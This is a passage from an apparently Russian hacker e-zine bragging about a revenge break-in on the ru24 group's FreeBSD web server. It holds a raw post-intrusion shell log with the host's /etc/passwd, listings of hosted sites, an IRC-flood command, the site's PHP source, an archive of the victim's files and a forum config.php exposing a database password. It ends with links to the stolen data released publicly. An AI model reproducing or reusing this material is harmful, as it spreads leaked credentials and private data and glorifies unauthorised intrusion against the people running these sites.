__       russian underground e-zine       ____
  |__|-----. .-----.----.-----.-----.-----. |  __|
  |  |     | |__ --|  __|  -__|     |  -__| |  __|
  |__|__|__| |_____|____|_____|__|__|_____| |____|
            about hack/security scene

/|\ ru24 pwnd \|/
[black]: Все началось с того, что ru24 возомнив себя богами рунета, попытались сломать
несколько ресурсов так или иначе связанных с inscene :). Понятное дело, что у браузерных
кулхацкеров ничего не вышло :). Поэтому они прибегли к более _ЭТИЧНОМУ_ методу
выскокоинтеллектуальной атаки DDoS и рассылки кучи абузов :)))). После предложения мирного
соглашения был получен отказ (а зря :)), и поэтому решили приступить к... дальше-больше ;)
[white]: все-таки, мы не вандалы, но показать, что шутить умеем, надо. С 1-м сентября, ребяты!

/|\ Итак, вечеринка by inscene stuff started! ;)) Япиииииии :) \|/
-----------------------------StartFucking----------------------------------

uname -a
FreeBSD xakep.kz 5.4-RELEASE FreeBSD 5.4-RELEASE #0: Sun May 8 10:21:06 UTC 2005 [email protected]:/usr/o

cat /etc/passwd
# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
ltsvadmin:*:1001:1001:User &:/home/ltsvadmin:/bin/sh
pnikita:*:1002:0:User &:/home/pnikita:/bin/sh
mysql:*:1003:1002:User &:/usr/local/mysql:/usr/sbin/nologin
phpmy:*:1006:1006:User &:/www/phpmy:/usr/sbin/nologin
infantry:*:1012:0:User &:/home/infantry:/bin/sh
postgres:*:1013:0:PG SQL:/usr/local/pgsql:/bin/sh
jabber:*:1014:0:jabber:/home/jabber:/bin/sh
rusmafia:*:1015:1015:User &:/www/rusmafia.ws:/bin/sh
tync:*:1016:1016:User &:/home/tync:/bin/sh
s0:*:1017:1017:User &:/home/s0:/bin/sh
pdnx:*:1018:1018:User &:/home/pdnx:/bin/sh
hitman:*:1019:1019:User &:/home/hitman:/bin/sh
guestbook:*:1020:1020:User &:/home/guestbook.kz:/bin/sh
postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin
alias:*:81:81:User &:/var/qmail/alias:/nonexistent
qmailr:*:86:82:User &:/var/qmail:/nonexistent
qmailp:*:84:81:User &:/var/qmail:/nonexistent
qmails:*:87:82:User &:/var/qmail:/nonexistent
qmailq:*:85:82:User &:/var/qmail:/nonexistent
qmaill:*:83:81:User &:/var/qmail:/nonexistent
qmaild:*:82:81:User &:/var/qmail:/nonexistent
vpopmail:*:89:89:User &:/usr/local/vpopmail:/nonexistent
dovecot:*:1021:1021:Dovecot:/home/dovecot:/sbin/nologin
clickf1:*:1022:6:User &:/home/clickf1:/usr/sbin/nologin
bellfagor:*:1023:1023:User &:/home/bellfagor:/usr/sbin/nologin
loveplanet:*:1024:1024:User &:/home/loveplanet:/bin/sh
svalka:*:1025:1025:User &:/home/svalka:/usr/sbin/nologin
hitech:*:1026:1026:User &:/home/chat.xakep.kz:/usr/sbin/nologin
xforum:*:1027:1027:User &:/home/forum.xakep.kz:/usr/sbin/nologin
gooz:*:1028:1028:User &:/home/gooz.us:/usr/sbin/nologin
xakep:*:1029:1029:User &:/home/xakep.kz:/usr/sbin/nologin
ru24forum:*:1030:1030:User &:/home/forum.ru24-team.net:/usr/sbin/nologin
pdnxchat:*:1031:1031:User &:/home/pdnxchat.com:/usr/sbin/nologin
ru24:*:1032:1032:User &:/home/ru24-team.net:/usr/sbin/nologin
shad0s:*:1033:1033:User &:/home/shad0s:/usr/sbin/nologin

ls -l /home
total 50
drwxr-xr-x   6 bellfagor   bellfagor    512 Aug 24 06:08 bellfagor
drwxr-xr-x   5 hitech      hitech       512 Aug 30 05:45 chat.xakep.kz
drwxr-xr-x   5 clickf1     mail         512 Aug 24 18:51 clickf1
drwxr-xr-x   2 root        wheel        512 Aug 13 16:37 films
drwxr-xr-x   3 ru24forum   ru24forum    512 Aug  6 01:39 forum.ru24-team.net
drwxr-xr-x   4 xforum      xforum       512 Aug  6 01:39 forum.xakep.kz
drwxr-xr-x   5 gooz        gooz         512 Aug 30 12:16 gooz.us
drwxr-xr-x   3 guestbook   guestbook    512 Jul 13 07:10 guestbook.kz
drwxr-xr-x   8 hitman      hitman       512 Aug 16 00:11 hitman
drwxr-xr-x   3 infantry    wheel        512 Jun 17 14:12 infantry
drwxr-xr-x   2 jabber      wheel        512 Jun 13 16:11 jabber
drwxr-xr-x   3 loveplanet  loveplanet   512 Aug  4 03:58 loveplanet
drwxr-xr-x   2 ltsvadmin   ltsvadmin    512 Jun  9 02:10 ltsvadmin
drwxrwx---   3 daemon      daemon       512 Jul 18 08:55 narod
drwxr-xr-x   3 pdnx        pdnx         512 Aug  6 01:39 pdnx
drwxr-xr-x   2 pdnxchat    pdnxchat     512 Aug  6 01:38 pdnxchat.com
drwxr-xr-x   2 pnikita     wheel        512 Aug  8 06:38 pnikita
drwxr-xr-x   3 ru24        ru24         512 Aug  6 01:39 ru24-team.net
drwxr-xr-x   3 s0          s0           512 Jun 27 15:10 s0
drwxr-xr-x   3 shad0s      shad0s       512 Aug 22 06:21 shad0s
drwxr-xr-x   2 svalka      svalka       512 Aug 27 10:53 svalka
drwxr-xr-x   3 tync        tync         512 Jul 29 19:15 tync
drwxr-xr-x  10 root        wheel        512 Jul 13 20:42 wildfire
drwxr-xr-x   4 root        wheel        512 Jun 10 14:41 www
drwxr-xr-x   8 xakep       xakep       1024 Aug 18 02:33 xakep.kz

ls -l /home/ru24-team.net/www/
total 80
drwxr-xr-x  2 ru24  ru24    512 Jul 10 21:37 advisories
drwxr-xr-x  4 ru24  ru24   1024 Jul 10 21:38 articles
drwxr-xr-x  2 ru24  ru24    512 Jun 17 03:49 cgi-bin
-rw-r--r--  1 ru24  ru24     47 Jul 19 12:57 cmd.txt
drwxr-xr-x  2 ru24  ru24    512 Apr  5 09:25 db
drwxr-xr-x  2 ru24  ru24    512 Aug 17 15:29 exploits
drwxr-xr-x  3 ru24  ru24    512 Aug 30 09:18 files
-rw-r--r--  1 ru24  ru24    725 Mar 30 23:14 icq_members.txt
drwxr-xr-x  2 ru24  ru24   1024 Apr  5 09:25 inc
-rw-r--r--  1 ru24  ru24   3590 Jan 26  2006 index.php
-rw-r--r--  1 ru24  ru24   1120 Jul 12 09:53 irc.php
-rw-r--r--  1 ru24  ru24   1122 Jul 12 09:50 irc.txt
-rw-r--r--  1 ru24  ru24  39645 Jan 26  2006 php.ini
-rw-r--r--  1 ru24  ru24  10889 Aug 16 18:30 piz.txt
drwxr-xr-x  2 ru24  ru24    512 Aug 16 16:22 releases

ls -l /home/ru24-team.net/www/db
total 18
-rw-r--r--  1 ru24  ru24  1237 Jul 10 21:44 ru24_advis.dat
-rw-r--r--  1 ru24  ru24  2471 Jul 10 21:44 ru24_articles.dat
-rw-r--r--  1 ru24  ru24  4544 Aug 18 16:35 ru24_base.dat
-rw-r--r--  1 ru24  ru24   543 Aug 17 15:28 ru24_exps.dat
-rw-r--r--  1 ru24  ru24   841 Aug 19 12:45 ru24_friends.dat
-rw-r--r--  1 ru24  ru24  1367 Aug 16 16:24 ru24_releases.dat

ls -l /home/ru24-team.net/www/files
total 4046
-rw-r--r--  1 ru24  ru24  2035493 Jun 10 16:16 backup0506.zip
-rw-r--r--  1 ru24  ru24  1977400 Jun 12 09:21 bhc18.zip
-rw-r--r--  1 ru24  ru24    42187 Apr  2 23:37 eggdrop.conf
drwxr-xr-x  2 ru24  ru24     1024 Jun 12 10:27 eggdrop_scripts
-rw-r--r--  1 ru24  ru24    18641 Aug 29 19:08 isremote.exe
-rwxrwxrwx  1 ru24  ru24    14225 Aug 30 09:18 raptor_prctl

ls -l /home/ru24-team.net/www/exploits
total 30
-rw-r--r--  1 ru24  ru24   1612 Jan 26  2006 funky.txt
-rw-r--r--  1 ru24  ru24   6645 Jan 26  2006 idealbbexp.txt
-rw-r--r--  1 ru24  ru24   2073 Jan 26  2006 phpweb.txt
-rw-r--r--  1 ru24  ru24   1124 Feb 10  2006 ru24_ikonboard.rar
-rw-r--r--  1 ru24  ru24  10816 Feb 21  2006 ru24_ipb21.php.txt
-rw-r--r--  1 ru24  ru24   1758 Feb 10  2006 ru24_nspl.rar

cat /home/ru24-team.net/www/cmd.txt
ircflood irc.tic-tac.ru 6667 #hukeng 10 550 ÕÅÊ

cat /home/ru24-team.net/www/piz.tx


cat /home/ru24-team.net/www/index.php

<html>
<head>
 <title>Ru24 Security Team</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
 <LINK href="inc/style.css" type="text/css" rel="StyleSheet">
</head>
<body bgcolor="#000000" leftmargin="0" rightmargin="0" topmargin="0" marginwidth="0" marginheight="0">

 <table border="0" cellpadding="0" cellspacing="0" width="100%" bgcolor="#171717" class="header">
  <tr>
   <td width="80%" align="left" height="80"><a href="http://www.ru24-team.net/"><img src="inc/logo.png"></a></td>

   <td width="20%" align="right" height="80"><img src="inc/we_back.png"></td>
  </tr>
 </table>
 <table border="0" cellpadding="0" cellspacing="0" width="100%" align="center">
  <tr>
   <td width="44%" align="right" height="30"><img src="inc/nl.png"></td>
   <td width="12%" align="center" height="30" background="inc/nbg.png"><a href="http://ru24-team.net/"><img src="inc/home.gif"></a>   <a href="mailto:[email protected]"><img src="inc/email.gif"></a>   <a href="inc/warning.txt"><img src="inc/map.gif"></a></td>
   <td width="44%" align="left" height="30"><img src="inc/nr.png"></td>
  </tr>

 </table>

 <table border="0" cellpadding="10" cellspacing="0" width="80%" id="content" align="center">
  <tr>
   <td align="center"><a href="index.php"><b>main</b></a> | <a href="index.php?exploits">exploits</a> | <a href="index.php?articles">articles</a> | <a href="index.php?advisories">advisories</a> | <a href="index.php?releases">releases</a> | <a href="index.php?friends">friends</a> | <a href="http://forum.ru24-team.net"><b>forum</b></a>

  </tr>
 </table>

<!- NEWS  -->

 <table border="0" cellpadding="10" cellspacing="0" width="80%" id="content" align="center">


<?
    $fpref="db/";
    $page=explode("?",$_SERVER['REQUEST_URI']);
    switch ($page[1]) {
            case "exploits":$fop="ru24_exps.dat";$tone="эксплойтов";break;
            case "articles":$fop="ru24_articles.dat";$tone="записей";                                   break;
            case "advisories":$fop="ru24_advis.dat";$tone="уязвимостей";                               break;
            case "releases":$fop="ru24_releases.dat";$tone="релизов";                                       break;
            case "friends":$fop="ru24_friends.dat";$tone="записей";                                   break;
            default:$fop="ru24_base.dat";$tone="новостей";                                        break;
    }






    if (file_exists($fpref.$fop)) {
        $fnews=fopen($fpref.$fop,"r");
        $i=0;
        while (!feof($fnews)) {
            $str=fgets($fnews);
            $arr=explode("::",$str);
            // ----

                echo " <tr>
                       <td>
                        <b>".$arr[2]."</b>

                        ".$arr[0]."
                       </td>
                       </tr>
                     ";
            //-----
            $i++;
        }
    }
    fclose($fnews);

    echo "
          <tr>
           <td align=\"center\" id=\"nc\">
            Всего $tone: ".$i."
            </td>
          </tr>
         ";
?>
 </table>

 <table border="0" cellpadding="0" cellspacing="0" width="100%" background="inc/fbg.png" class="footer">
  <tr>
   <td width="50%" align="left" height="11"><a href="http://www.ru24-team.net/"><img src="inc/copyright.png"></a></td>
   <td width="50%" align="right" height="11"><a href="mailto:[email protected]"><img src="inc/designed.png"></a></td>
  </tr>
 </table>

</body>
</html>


tar jvcf /home/narod/00012.tar.bz2 /home/ru24-team.net/www; ls -l /home/narod
2637825 -rw-r--r--   1      root     wheel 75088653 10.07.2006 00:07 a0.gz
2637826 -rw-r--r--   1      root     wheel 75083936 09.07.2006 23:32 a2000000.gz
2637827 -rw-r--r--   1      root     wheel 73799356 09.07.2006 23:35 a4000000.gz
2637828 -rw-r--r--   1      root     wheel 74071953 09.07.2006 23:48 a6000000.gz
2637829 -rw-r--r--   1      root     wheel 74263180 09.07.2006 23:53 a8000000.gz
2637830 -rw-r--r--   1      root     wheel 56475858 10.07.2006 00:03 a10000000.gz
2637831 -rw-r--r--   1      root     wheel 37180406 10.07.2006 00:45 i0.gz
2637832 -rw-r--r--   1      root     wheel     102 10.07.2006 19:20 .htaccess
2637833 -rw-r--r--   1      root     wheel 35721890 10.07.2006 00:50 i2000000.gz
2637834 -rw-r--r--   1      root     wheel 32395932 10.07.2006 00:56 i4000000.gz
2637835 -rw-r--r--   1      root     wheel 31408450 10.07.2006 01:00 i6000000.gz
2637836 -rw-r--r--   1      root     wheel 32809874 10.07.2006 01:06 i8000000.gz
2637837 -rw-r--r--   1      root     wheel 25144196 10.07.2006 01:09 i10000000.gz
2637838 -rw-r--r--   1      root     wheel      39 10.07.2006 19:21 .htpasswd
2732032 drwxr-xr-x   2      root    daemon     512 18.07.2006 09:01 a
2637839 -rw-r--r--   1    daemon    daemon 7671950 31.08.2006 12:20 00012.tar.bz2

ls -l /home/forum.ru24-team.net/www/
1271820 -rw-r--r--   1                     3238301 12.06.2006 13:30 ru24.zip
1271821 drwxr-xr-x   2                         512 12.06.2006 19:17 admincp
1271823 drwxr-xr-x   2                         512 05.04.2006 09:25 archive
1271827 drwxr-xr-x  15                         512 05.04.2006 09:26 catalystskinimages
1272089 drwxr-xr-x   3                         512 05.04.2006 09:25 clientscript
1272106 drwxr-xr-x  15                         512 05.04.2006 09:26 cobalt
1272376 drwxr-xr-x   8                         512 05.04.2006 09:25 cpstyles
1272737 drwxr-xr-x   2                         512 05.04.2006 09:26 customavatars
1272739 drwxr-xr-x   2                         512 05.04.2006 09:25 data
1272741 drwxr-xr-x   2                         512 05.04.2006 09:26 forum19
1272743 drwxr-xr-x  15                         512 05.04.2006 09:25 images
1273018 drwxr-xr-x   3                        2048 05.04.2006 09:26 includes
1273088 drwxr-xr-x   2                        1024 31.07.2006 16:23 install
1273121 drwxr-xr-x   2                         512 05.04.2006 09:25 members
1273123 drwxr-xr-x   2                         512 05.04.2006 09:25 messages
1273125 drwxr-xr-x   2                         512 05.04.2006 09:26 modcp
1273136 drwxr-xr-x   2                         512 05.04.2006 09:26 subscriptions
1273142 -rw-r--r--   1                      470203 20.03.2006 08:37 def.rar
1273143 -rw-r--r--   1                        9539 15.03.2006 02:03 temi.gif
1273144 -rw-r--r--   1                       68891 08.03.2006 01:50 vpn468.swf
1273145 -rw-r--r--   1                         766 07.03.2006 20:58 favicon.ico
1273146 -rw-r--r--   1                        6743 05.02.2006 01:38 announcement.php
1273147 -rw-r--r--   1                        8845 05.02.2006 01:38 attachment.php
1273148 -rw-r--r--   1                       67569 05.02.2006 01:38 calendar.php
1273149 -rw-r--r--   1                          43 05.02.2006 01:37 clear.gif
1273150 -rw-r--r--   1                        2459 05.02.2006 01:37 cron.php
1273151 -rw-r--r--   1                       26520 05.02.2006 01:37 editpost.php
1273152 -rw-r--r--   1                       12155 05.02.2006 01:37 external.php
1273153 -rw-r--r--   1                        8265 05.02.2006 01:37 faq.php
1273154 -rw-r--r--   1                       24152 05.02.2006 01:37 forumdisplay.php
1273155 -rw-r--r--   1                       24068 14.06.2006 04:10 global.php
1273156 -rw-r--r--   1                         484 05.02.2006 01:36 help.nfo
1273157 -rw-r--r--   1                        7739 05.02.2006 01:36 image.php
1273158 -rw-r--r--   1                       13958 05.02.2006 01:36 index.php
1273159 -rw-r--r--   1                        8952 05.02.2006 01:36 joinrequests.php
1273160 -rw-r--r--   1                       12263 05.02.2006 01:36 login.php
1273161 -rw-r--r--   1                       15982 05.02.2006 01:35 member.php
1273162 -rw-r--r--   1                       26614 05.02.2006 01:35 memberlist.php
1273163 -rw-r--r--   1                       15922 05.02.2006 01:35 misc.php
1273164 -rw-r--r--   1                        5096 05.02.2006 01:35 moderator.php
1273165 -rw-r--r--   1                       14817 05.02.2006 01:35 newattachment.php
1273166 -rw-r--r--   1                       19076 14.06.2006 03:30 newreply.php
1273167 -rw-r--r--   1                       10899 13.06.2006 11:00 newthread.php
1273168 -rw-r--r--   1                       12691 05.02.2006 01:34 online.php
1273169 -rw-r--r--   1                       25589 05.02.2006 01:34 poll.php
1273170 -rw-r--r--   1                       54760 05.02.2006 01:34 postings.php
1273171 -rw-r--r--   1                        6184 05.02.2006 01:34 printthread.php
1273172 -rw-r--r--   1                       48261 05.02.2006 01:34 private.php
1273173 -rw-r--r--   1                       75299 05.02.2006 01:34 profile.php
1273174 -rw-r--r--   1                        4790 05.02.2006 01:34 ReadMe.txt
1273175 -rw-r--r--   1                       40140 05.02.2006 01:34 register.php
1273176 -rw-r--r--   1                        5242 05.02.2006 01:33 report.php
1273177 -rw-r--r--   1                        9727 05.02.2006 01:33 reputation.php
1273178 -rw-r--r--   1                       72986 05.02.2006 01:33 search.php
1273179 -rw-r--r--   1                       14069 05.02.2006 01:33 sendmessage.php
1273180 -rw-r--r--   1                        8304 05.02.2006 01:33 showgroups.php
1273181 -rw-r--r--   1                        7980 05.02.2006 01:33 showpost.php
1273182 -rw-r--r--   1                       52130 05.02.2006 01:33 showthread.php
1273183 -rw-r--r--   1                         408 05.02.2006 01:33 site.nfo
1273184 -rw-r--r--   1                       21698 05.02.2006 01:33 subscription.php
1273185 -rw-r--r--   1                        7952 05.02.2006 01:33 subscriptions.php
1273186 -rw-r--r--   1                        6005 05.02.2006 01:33 threadrate.php
1273187 -rw-r--r--   1                       14808 12.06.2006 18:35 usercp.php
1273188 -rw-r--r--   1                       15607 05.02.2006 01:33 usernote.php
1273189 drwxr-xr-x   3                        1536 05.04.2006 09:25 adminka

cat /home/forum.ru24-team.net/www/includes/config.php
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.0.7 - CAT Team
|| # ---------------------------------------------------------------- # ||
|| # All PHP code in this file is ©2000-2005 Jelsoft Enterprises Ltd. # ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| #                       Nullified By CAT Team                      # ||
|| #################################################################### ||
\*======================================================================*/

/*-------------------------------------------------------*\
| ****** NOTE REGARDING THE VARIABLES IN THIS FILE ****** |
+---------------------------------------------------------+
| If you get any errors while attempting to connect to    |
| MySQL, you will need to email your webhost because we   |
| cannot tell you the correct values for the variables    |
| in this file.                                           |
\*-------------------------------------------------------*/

// ****** DATABASE SERVER NAME ******
// This is the hostname or IP address of the database server.
// It is in the format HOST:PORT. If no PORT is specified, 3306 is used.
// If you are unsure of what to put here, leave it at the default value.
$servername = 'localhost';

// ****** DATABASE USERNAME & PASSWORD ******
// This is the username and password you use to access MySQL.
// These must be obtained through your webhost.
$dbusername = 'ru24';
$dbpassword = 'sbf,LKmnwZ48jE87';

// ****** DATABASE NAME ******
// This is the name of the database where your vBulletin will be located.
// This must be created by your webhost.
$dbname = 'ru24forum';

// ****** TECHNICAL EMAIL ADDRESS ******
// If any database errors occur, they will be emailed to the address specified here.
// Leave this blank to not send any emails when there is a database error.
$technicalemail = '[email protected]';

// ****** PERSISTENT CONNECTIONS ******
// This option allows you to turn persistent connections to MySQL on or off.
// The difference in performance is negligible for all but the largest boards.
// If you are unsure what this should be, leave it off.
// 0 = Off; 1 = On
$usepconnect = 0;

// ****** PATH TO ADMIN & MODERATOR CONTROL PANELS ******
// This setting allows you to change the name of the folders that the admin and
// moderator control panels reside in. You may wish to do this for security purposes.
// Please note that if you change the name of the directory here, you will still need
// to manually change the name of the directory on the server.
$admincpdir = 'admincp';
$modcpdir = 'modcp';

// ****** USERS WITH ADMIN LOG VIEWING PERMISSIONS ******
// The users specified here will be allowed to view the admin log in the control panel.
// Users must be specified by *ID number* here. To obtain a user's ID number,
// view their profile via the control panel. If this is a new installation, leave
// the first user created will have a user ID of 1. Seperate each userid with a comma.
$canviewadminlog = '1';

// ****** USERS WITH ADMIN LOG PRUNING PERMISSIONS ******
// The users specified here will be allowed to remove ("prune") entries from the admin
// log. See the above entry for more information on the format.
$canpruneadminlog = '1';

// ****** USERS WITH QUERY RUNNING PERMISSIONS ******
// The users specified here will be allowed to run queries from the control panel.
// See the above entries for more information on the format.

// Please note that the ability to run queries is quite powerful. You may wish
// to remove all user IDs from this list for security reasons.
$canrunqueries = '';

// ****** UNDELETABLE / UNALTERABLE USERS ******
// The users specified here will not be deletable or alterable from the control panel by any users.
// To specify more than one user, separate userids with commas.
$undeletableusers = '';

// ****** SUPER ADMINISTRATORS ******
// The users specified below will have permission to access the administrator permissions
// page, which controls the permissions of other administrators
$superadministrators = '';

// Prefix that your vBulletin tables have in the database.
// For example: $tableprefix = 'vb3_';
$tableprefix = '';

// Prefix that all vBulletin cookies will have
// For example
$cookieprefix = 'ru24';

/*======================================================================*\
|| ####################################################################
|| # Nullified By CAT Team
|| # CVS: $RCSfile: config.php.new,v $ - $Revision: 1.19 $
|| ####################################################################
\*======================================================================*/
?>
-----------------------------EndOfFucking-------------------------------------

[black]: как и ожидалось ничего интересного у киддисов не имеется, разумеется кроме длинного
языка и дешевых понтов :). Все данные выкладываем во всеобщее пользование : 
http://rapidshare.de/files/31562465/ru24-31-09-06.rar.html
http://rapidshare.de/files/31562683/forum-31-09-06.rar.html. 
Наслаждайтесь ;).
[white]: в инклудах - скрин, который дает намек на то, что не вошло в данный лог :). 
Кстати, после взлома сайта ru24 Tристрамом, они явно повысили свой уровень, написав "новый движок"...
без админки. И новости теперь пишутся высокоинтеллектуальной технологией hands-dev. 
О самом коде промолчу :) No comments.